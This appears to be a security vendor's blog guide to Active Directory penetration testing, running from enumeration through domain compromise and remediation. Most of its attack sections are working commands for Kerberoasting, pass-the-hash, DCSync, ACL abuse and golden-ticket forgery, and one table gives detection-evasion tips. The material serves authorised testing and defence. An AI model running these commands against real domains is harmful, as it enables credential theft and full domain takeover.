Active Directory Penetration Testing: Methodology, Tools & Techniques
Active Directory is the identity and access management backbone of most enterprise Windows environments. It controls who can log in, what they can access, and how services authenticate to each other. It is also one of the most reliably exploitable systems in corporate networks — because AD configurations accumulate technical debt faster than they get cleaned up.
This guide covers Active Directory penetration testing from initial reconnaissance through privilege escalation to domain compromise, including the specific attack paths that still work reliably in modern hardened environments.
Scope and Engagement Setup
An AD pentest is typically scoped as either an internal network assessment (attacker has LAN access but no domain credentials) or an assumed-breach assessment (attacker starts with a standard domain user account). Both are realistic threat models; the right choice depends on what the client wants to validate.
The most common starting scenario: an attacker has compromised a workstation through a phishing email and now has access as a low-privileged domain user. The question is how far they can get from there.
Legal scope matters here. Active Directory testing affects the entire domain. Ensure your scope agreement explicitly covers AD enumeration, lateral movement techniques, and the specific domain controllers you're allowed to interact with. Kerberos attacks in particular generate distinctive traffic that may trigger SOC alerts.
Phase 1: Enumeration
Domain Information Gathering
Before attempting any attack, map the environment. With any domain user account (even a freshly created guest account), you can query substantial AD information:
# Using BloodHound/SharpHound for comprehensive AD enumeration
SharpHound.exe --CollectionMethods All --ZipFileName bloodhound_data.zip
# PowerShell LDAP queries (no additional tools required)
# Get domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# Enumerate all users
Get-ADUser -Filter * -Properties * | Select-Object Name, SamAccountName, Description, PasswordLastSet, Enabled
# Find users with SPNs (Kerberoastable accounts)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
# Find users with DONT_REQ_PREAUTH (AS-REP roastable)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
BloodHound / SharpHound
BloodHound is the de facto standard for AD attack path mapping. It queries AD for relationships between users, groups, computers, and ACLs, then visualizes attack paths from any starting point to domain admin. The most valuable queries:
- Shortest paths to Domain Admins — the core question of every AD pentest
- Kerberoastable users with paths to high-value targets — identifies low-hanging fruit with impact
- Find principals with DCSync rights — identifies who can dump credentials from DC
- Users with unconstrained delegation — often forgotten, frequently exploitable
- Computers where domain admins have sessions — targets for credential harvesting
Phase 2: Credential Attacks
Kerberoasting
Any authenticated domain user can request Kerberos service tickets for accounts with Service Principal Names (SPNs). These tickets are encrypted with the service account's NTLM hash — which can be cracked offline. Kerberoasting is one of the most reliable privilege escalation paths in AD environments because service accounts often have weak passwords and are rarely rotated.
# Using Impacket (from Linux)
python3 GetUserSPNs.py DOMAIN/user:password -dc-ip 192.168.1.10 -request -outputfile kerberoast_hashes.txt
# Using Rubeus (from Windows)
Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat
# Crack with hashcat
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
AS-REP Roasting
Accounts with "Do not require Kerberos preauthentication" set will respond to authentication requests without verifying identity first. The AS-REP response is encrypted with the user's password hash — crackable offline, no credentials required to initiate.
# No credentials needed — enumerate and attack in one step
python3 GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip 192.168.1.10 -format hashcat -outputfile asrep_hashes.txt
# Crack
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
Password Spraying Against AD
Spraying common passwords across all domain accounts. The critical constraint: AD lockout policy. Query the lockout threshold before spraying and stay comfortably under it.
# Check lockout policy first
net accounts /domain
# Spray with kerbrute (fast, uses Kerberos — no failed login events in Security log)
kerbrute passwordspray -d domain.local --dc 192.168.1.10 users.txt 'Winter2026!'
# CrackMapExec (SMB-based, generates login events)
crackmapexec smb 192.168.1.10 -u users.txt -p 'Winter2026!' --continue-on-success
Phase 3: Lateral Movement
Pass-the-Hash
Once you have an NTLM hash (from Mimikatz, a SAM dump, or any other credential extraction method), you can authenticate as that user without knowing the plaintext password. This is possible because Windows authentication protocols accept the hash directly.
# Pass-the-hash with Impacket wmiexec
python3 wmiexec.py -hashes :NTLM_HASH DOMAIN/Administrator@192.168.1.20
# CrackMapExec lateral movement
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH --local-auth
# Rubeus (Kerberos-based, avoids NTLM monitoring)
Rubeus.exe asktgt /user:administrator /ntlm:HASH /ptt
Pass-the-Ticket
Kerberos tickets can be extracted from memory and reused on other machines. Unlike PtH, tickets are time-limited (typically 10 hours for TGTs) but won't trigger NTLM-specific detections.
# Extract tickets from memory with Mimikatz
privilege::debug
sekurlsa::tickets /export
# Inject a specific ticket
Rubeus.exe ptt /ticket:base64_ticket_here
# Or from a file
Rubeus.exe ptt /ticket:administrator.kirbi
Overpass-the-Hash / Pass-the-Key
Use an NTLM hash or AES key to request a Kerberos TGT — combining the stealth of Kerberos with the accessibility of hash-based attacks.
# Using Rubeus
Rubeus.exe asktgt /user:admin /aes256:AES256_KEY /ptt /opsec
# Using Impacket
python3 getTGT.py DOMAIN/admin -hashes :NTLM_HASH -dc-ip 192.168.1.10
Phase 4: Privilege Escalation
ACL Abuse
Active Directory access control lists define who can read, write, or modify AD objects. Misconfigured ACLs are endemic in enterprise environments — often the result of administrative shortcuts taken years ago and never reviewed. BloodHound's edge analysis reveals these automatically.
The most exploitable ACL rights:
| Right | What It Allows | Attack Path |
|---|---|---|
| GenericAll | Full control over object | Reset password, add to group, RBCD |
| GenericWrite | Write to most attributes | Set SPN for Kerberoasting, write logon script |
| WriteDACL | Modify object's ACL | Grant yourself additional rights |
| WriteOwner | Change object owner | Take ownership, then modify ACL |
| ForceChangePassword | Reset password without knowing current | Take over account directly |
| DCSync (DS-Replication) | Replicate AD data | Dump all NTLM hashes from domain |
# Abuse GenericAll on a user — reset their password
Set-ADAccountPassword -Identity target_user -NewPassword (ConvertTo-SecureString "NewPass123!" -AsPlainText -Force) -Reset
# Using PowerView for ACL manipulation
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity attacker_user -Rights All -Domain domain.local
# Add self to privileged group
Add-ADGroupMember -Identity "Domain Admins" -Members attacker_user
Kerberos Delegation Attacks
Unconstrained Delegation: Computers with unconstrained delegation receive and store TGTs from any user authenticating to them. If an attacker compromises such a machine, they can extract any TGT stored in memory — including domain admin TGTs if a DA authenticates to that machine.
# Find computers with unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation, Description
# With Rubeus — monitor for incoming TGTs
Rubeus.exe monitor /interval:5 /nowrap
# Extract cached TGTs with Mimikatz
sekurlsa::tickets /export
Constrained Delegation: More restrictive but still exploitable. Accounts configured for constrained delegation can request service tickets on behalf of any user to specific services. If you control such an account, you can impersonate domain admins to the configured services.
# Find accounts with constrained delegation
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
# Exploit with Rubeus
Rubeus.exe s4u /user:service_account /rc4:NTLM_HASH /impersonateuser:administrator /msdsspn:"cifs/dc01.domain.local" /ptt
Resource-Based Constrained Delegation (RBCD): Allows the resource (computer) to specify which accounts can delegate to it. If an attacker has write access to a computer object's msDS-AllowedToActOnBehalfOfOtherIdentity attribute, they can set up delegation and impersonate domain admins to that machine.
DCSync Attack
Once you have an account with DCSync rights (DS-Replication-Get-Changes-All), you can replicate the entire NTDS.dit — extracting every user's NTLM hash and Kerberos keys from the domain.
# Mimikatz DCSync — dump all hashes
lsadump::dcsync /domain:domain.local /all /csv
# Dump specific user
lsadump::dcsync /domain:domain.local /user:krbtgt
# From Linux with Impacket
python3 secretsdump.py DOMAIN/user:password@192.168.1.10 -just-dc-ntlm
Phase 5: Domain Persistence
Golden Ticket
The krbtgt account hash allows creation of arbitrary Kerberos tickets with any validity period and group membership. A golden ticket generated from the krbtgt hash grants persistent domain admin access — surviving password resets on regular accounts — until the krbtgt password is rotated twice.
# Dump krbtgt hash first (requires domain admin)
lsadump::dcsync /domain:domain.local /user:krbtgt
# Create golden ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-DOMAIN-SID /krbtgt:KRBTGT_HASH /ticket:golden.kirbi /ptt
Silver Ticket
A silver ticket uses the service account's hash (not krbtgt) to forge tickets for a specific service. More limited than golden tickets but harder to detect — doesn't require contacting the KDC.
# Forge a CIFS ticket for DC lateral movement
kerberos::golden /user:Administrator /domain:domain.local /sid:DOMAIN_SID /target:dc01.domain.local /service:cifs /rc4:SERVICE_ACCOUNT_HASH /ticket:silver.kirbi /ptt
Common Misconfigurations to Check
- Default domain functional level — older levels disable modern security features
- LAPS not deployed — identical local admin passwords across all workstations
- Password not required flag — accounts with empty passwords
- AdminSDHolder misconfigurations — protected group ACLs propagated incorrectly
- MS14-025 / Group Policy Preferences passwords — passwords stored in SYSVOL XML files
- NTLM relay opportunities — SMB signing not enforced, LLMNR/NBT-NS enabled
- Print Spooler service running on DCs — enables PrinterBug/SpoolSample for coercion attacks
- Excessive AD Recycle Bin access — can reveal deleted objects with credentials
- Tier 0 accounts logging into Tier 1/2 systems — credential exposure on non-DC systems
Detection and Evasion Awareness
Modern detection capabilities your client likely has (or should have):
| Attack | Detection Signal | Evasion Consideration |
|---|---|---|
| Kerberoasting | Event 4769 with RC4 encryption for service accounts | Request AES tickets only; target fewer, higher-value accounts |
| AS-REP Roasting | Event 4768 without preauthentication | Limited evasion — flag in BloodHound as a finding |
| Pass-the-Hash | Event 4624 with logon type 3, NTLM auth | Use Kerberos-based techniques where possible |
| DCSync | Event 4662 — DS-Replication rights used | Low evasion — noisy by design; simulate vs test in prod |
| BloodHound enumeration | Large LDAP query volume from workstation | Throttle collection, use stealth options |
| Password spraying | Multiple Event 4625 failures across accounts | Kerbrute (no login event), one attempt per account per day |
Remediation Priorities
After an AD pentest, remediation should be prioritized by attack chain severity. The highest-impact fixes that most environments can implement without business disruption:
- Enable LAPS — eliminates lateral movement via shared local admin passwords, one of the most common attack paths
- Disable LLMNR and NBT-NS — eliminates NTLM relay and responder attacks with no user impact
- Enforce SMB signing — required on all DCs (default), recommended on workstations
- Rotate krbtgt password twice — invalidates any golden tickets that may have been created
- Audit Kerberoastable accounts — enforce strong, unique passwords on all service accounts with SPNs; migrate to gMSAs where possible
- Review and clean ACLs — run BloodHound and remove any paths to DA that don't reflect business requirements
- Implement tiered administration — prevent DA credentials from appearing on workstations and member servers
- Enable Protected Users group — applies additional Kerberos security to privileged accounts
Web Application + API Security Scanning
Ironimo runs professional-grade web application security scans — the same DAST tools and techniques used by pentesters — on demand, without a consultant invoice. While AD security requires dedicated internal testing, web app and API surfaces can be continuously monitored.
Start free scanActive Directory vs. Azure AD / Entra ID
Many organisations now run hybrid environments with both on-premises AD and Azure AD (now Entra ID) synchronized via Azure AD Connect. Misconfigured sync can create privilege escalation paths between environments — a compromised cloud account with write-back enabled can result in on-premises compromise, and vice versa.
Key hybrid-specific checks:
- Azure AD Connect service account permissions on on-prem AD
- Password Hash Sync (PHS) vs Pass-Through Authentication (PTA) — PHS stores hashes in Azure
- Seamless SSO account (AZUREADSSOACC) — Kerberos attack surface
- Hybrid join attack paths in BloodHound
- Conditional Access policy gaps that allow legacy authentication protocols
Summary
Active Directory penetration testing requires systematic enumeration, patience, and solid understanding of Kerberos mechanics. The attack paths that consistently produce domain compromise haven't changed dramatically in years — Kerberoasting, ACL abuse, and delegation misconfigurations remain reliable because fixing them requires sustained organisational effort, not just a patch.
The value of an AD pentest is in demonstrating attack paths that actually exist in your environment, not in running every known technique. BloodHound-driven path analysis combined with targeted exploitation of the shortest paths to DA is more useful than an exhaustive technique checklist.
← Back to Blog